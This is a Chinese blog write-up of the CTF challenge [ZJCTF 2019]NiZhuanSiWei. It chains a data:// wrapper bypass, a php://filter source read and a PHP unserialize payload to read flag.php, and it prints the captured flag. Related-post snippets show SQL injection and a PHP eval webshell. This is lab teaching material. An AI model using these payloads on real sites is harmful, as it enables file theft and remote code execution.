首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei 1

[ZJCTF 2019]NiZhuanSiWei 1

时间:2024-11-08 18:45:07浏览次数:4  
标签:读取 ZJCTF text NiZhuanSiWei flag 2019 file php

[ZJCTF 2019]NiZhuanSiWei 1

打开实例,发现为代码审计,确认为文件包含漏洞

image-20241107225648761

需要三个参数text、file、password,首先是text验证,逻辑显示text必须有值,且读取文件内容得是welcome to the zjctf

采用读取本地文件绕过,在E盘新建文件

image-20241107231451692

发现无效

image-20241107231724207

尝试data流

?text=data://,welcome to the zjctf

image-20241107232021340

成功绕过,接下来是file绕过,逻辑显示不能包含flag,注意到旁边注释useless.php,尝试读取页面内容

image-20241107231948399

image-20241107232105329

读取失败,尝试采用base64编码读取,读取成功

image-20241107232214256

获得一串base64

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo

解码为一段php代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

image-20241107232258293

代码显示flag在flag.php中,此前注意到源代码的unserialize方法,那最后的password参数就是反序列化了

image-20241107232430793

构造payload,注意到有__tostring方法,所以只要直接传flag.php字符串就行

<?php
class Flag{
    public $file = 'flag.php';
}
$select = new Flag();
$res=serialize(@$select);   
echo $res;

运行获得序列化字符串

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20241107232758719

运行,纳尼,没反应??

image-20241107233616976

怀疑是与file的内容冲突了,把file改回来,显示成功

?text=data://,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20241107233709512

发现flag没显示,查看源代码,发现flag

image-20241107233754310

flag{8cfd1d3e-077f-48e6-aba4-07bde718c28b}

标签:读取,ZJCTF,text,NiZhuanSiWei,flag,2019,file,php
From: https://www.cnblogs.com/tazmi/p/18535674

相关文章

  • [SUCTF 2019]EasySQL 1
    [SUCTF2019]EasySQL1根据题目所得是个sql注入题,尝试万能密码显示不对,说明存在输入过滤,尝试堆叠注入1;showdatabases;成功显示数据库列表,并且发现数据库ctf查询数据表,查询出表Flag1;usectf;showtables;尝试select*fromFlag;发现出现错误\思考其sql语句为se......
  • [RoarCTF 2019]Easy Calc 1
    [RoarCTF2019]EasyCalc1打开实例发现是个计算器查看源代码看见设置了WAF的提示,并看见计算器的请求方法,注意到calc.php页面访问calc.php页面,查看到逻辑处理源代码,根据代码显示,确定这是一道RCE题,blacklist为黑名单过滤数组,总结:绕过数组就可以任意代码执行传递num=ls,发现......
  • [极客大挑战 2019]Http 1
    [极客大挑战2019]Http1代码审计发现页面Secret.php访问后显示页面,判断这题为头信息伪造Hackerbar梭哈,最终payload为GET/Secret.phpHTTP/1.1Host:node5.buuoj.cn:25132User-Agent:SycloverAccept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0......
  • [极客大挑战 2019]HardSQL 1
    [极客大挑战2019]HardSQL1打开实例,发现是个登陆页面,查看源代码,发现又是GET提交check.php万能密码尝试不太行,怀疑字段或者空格被过滤,尝试闭合不加其他东西确认空格、union、and等都被过滤了,尝试加个括号并未出现你可知被我速住了,臭弟弟字样,()未被过滤吧,尝试采用upda......
  • [极客大挑战 2019]BuyFlag 1
    [极客大挑战2019]BuyFlag1打开实例发现pay.php页面,有提示信息打开源码发现passwordpost提交逻辑burpsuite抓包传参,传入money和password参数,这里password是==弱比较,所以加个字符就可以绕过password=404a&money=100000000回显发现并没有变化注意到学生需要CUIT(Only......
  • [强网杯 2019]随便注 1
    [强网杯2019]随便注1万能密码上一波,回显成功,判断为'闭合注入?inject=1'or1=1--+(?inject=1unionselect1,2,3)union尝试,根据回显,发现存在字段过滤,过滤了select包括where等操作/select|update|delete|drop|insert|where|\./i尝试闭合堆叠?inject=1';showdat......
  • [极客大挑战 2019]Upload 1
    [极客大挑战2019]Upload1打开实例为文件上传页面,代码审计,发现为php文件,采用php马采用bp抓包修改后缀绕过,上传一句话木马<?phpphpinfo();@eval($_POST['cmd']);?>回显错误,显示不能为php,存在文件类型过滤尝试采用phtm文件包含php绕过显示非image文件尝试采用GIF89......
  • [极客大挑战 2019]Secret File 1
    [极客大挑战2019]SecretFile1代码审计发现页面/Archive_room.php访问页面点击SECRET按钮,bp抓包发现302重定向,附带一个注释页面secr3t.php访问secr3t.php,代码审计访问flag.php,发现一个贱贱的页面,确认是文件包含看不到页面且禁用../等参数,考虑用php的base64回显,paylo......
  • [极客大挑战 2019]PHP 1
    [极客大挑战2019]PHP1打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息采用dirsearch爆破目录,找到www.zip文件解压zip,发现是源码泄露提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize(),判断为反序列化漏洞;查看class.php可......
  • [极客大挑战 2019]LoveSQL 1
    [极客大挑战2019]LoveSQL1代码审计,发现表单方式为get提交到check.php万能密码admin'or1=1#登录成功,这边我以为密码就是flag,结果并不是,结合题目信息,猜想这应该是根据账号密码的注入尝试闭合?username=admin'and1=1%23&password=d3c9cf30a12d1f13d4f778859fb16f73正......